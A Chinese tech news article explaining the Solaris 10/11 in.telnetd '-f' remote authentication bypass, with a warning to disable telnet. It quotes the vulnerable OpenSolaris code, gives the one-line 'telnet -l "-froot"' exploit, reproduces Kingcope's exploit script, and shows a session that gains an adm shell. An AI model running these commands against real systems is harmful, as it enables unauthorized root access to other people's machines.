科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网网络频道Solaris中Telnet的使用

Solaris中Telnet的使用

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

如果你注释掉了CONSOLE这一行的话, 任何用户都将可以通过本地或远程方式利用telnet漏洞.看完上面后, 我们可以通过设置USER环境变量"-fusername"来获得需要的用户权限, 新的用户登陆无需口令验证.

来源:计世网 2010年7月20日

关键字: telnet 网络

  • 评论
  • 分享微博
  • 分享邮件

对于telnet服务的使用我们这里主要讲解一下Solaris系统中的一些应用。那么首先然我们了解一下Solaris系统的相关内容和telnet的功能吧。如果你的Solaris系统运行了telnet服务程序, 你将会感到十分惊讶: 只需执行一个简单的步骤就可以获得root权限(也可以是其它用户权限). 该漏洞的全称是: Solaris 10/11系统上的telnet远程root漏洞(或SunOS 5.10/5.11 in.telnetd 远程漏洞). 无需任何技巧和漏洞知识, 你就可以通过脚本执行大规模的攻击. 完整的漏洞利用方法可以从该pdf文章获得(或从文章下面的漏洞代码解释部分). 下面简单介绍一下如何利用该漏洞. 基本上你可以在telnet命令的-l选项后指定任何一个"-fusername"参数, fusername可以是任何你需要的用户名, 比如bin, root等. 执行telnet后可以得到fusername指定的用户权限. 比如:

telnet -l "-fbin" target_address

看到这里请禁止您solaris系统上的telnet程序. 另外该漏洞的HEV数据可以从ErraSec网站下载.

注: Solaris 10的默认安装不会受到该漏洞的影响. 如果你修改了/etc/default/login配置文件中的CONSOLE变量, 你将只能通过本地控制台root登陆系统. 当然如果你注释掉了CONSOLE这一行的话, 任何用户都将可以通过本地或远程方式利用telnet漏洞.

telnet -l "-froot" target_address

漏洞代码解释

下面的漏洞代码适用于SunOS 5.10/5.11系统上的in.telnetd程序, 原作者是Kingcope.

首先看Opensolaris的源代码:

CODE:

/usr/src/cmd/cmd-inet/usr.sbin/in.telnetd.c

3198

3199 } else /* default, no auth. info available, login does it all */ {

3200 (void) execl(LOGIN_PROGRAM, "login",

3201 "-p", "-h", host, "-d", slavename,

3202 getenv("USER"), 0);

3203 }

/usr/src/cmd/login/login.c

1397 break;

1398

1399 case 'f':

1400 /*

1401 * Must be root to bypass authentication

1402 * otherwise we exit() as punishment for trying.

1403 */

1404 if (getuid() != 0 || geteuid() != 0) {

1405 audit_error = ADT_FAIL_VALUE_AUTH_BYPASS;

1406

1407 login_exit(1); /* sigh */

1408 /*NOTREACHED*/

1409 }

1410 /* save fflag user name for future use */

1411 SCPYL(user_name, optarg);

1412 fflag = B_TRUE;

看完上面后, 我们可以通过设置USER环境变量"-fusername"来获得需要的用户权限, 新的用户登陆无需口令验证.

下面是正式的漏洞利用代码(称作sunos):

---开始---

#!/bin/sh

# CLASSIFIED CONFIDENTIAL SOURCE MATERIAL

#

# *********************ATTENTION********************************

# THIS CODE _MUST NOT_ BE DISCLOSED TO ANY THIRD PARTIES

# (C) COPYRIGHT Kingcope, 2007

#

################################################################

echo ""

echo "SunOS 5.10/5.11 in.telnetd Remote Exploit by Kingcope kingcope@gmx.net"

if [ $# -ne 2 ]; then

echo "./sunos "

echo "./sunos localhost bin"

exit

fi

echo ""

echo "ALEX ALEX"

echo ""

telnet -l"-f$2" $1

---结束---

然后执行漏洞程序:

$ ./sunos adm

SunOS 5.10/5.11 in.telnetd Remote Exploit by Kingcope kingcope@gmx.net

ALEX ALEX

Trying .

Connected to .

Escape character is '^]'.

Last login: Wed Feb 7 16:28:19 from

Sun Microsystems Inc. SunOS 5.10 Generic January 2005

$ uname -a;id

SunOS library7 5.10 Generic_118833-33 sun4u sparc SUNW,Sun-Fire-V245

uid=4(adm) gid=4(adm)

$

我们看到, 执行sunos脚本后, 执行者获得了adm帐户权限.

参考

Trivial remote Solaris 0day, disable telnet now.

    • 评论
    • 分享微博
    • 分享邮件
    邮件订阅

    如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

    重磅专题
    往期文章
    最新文章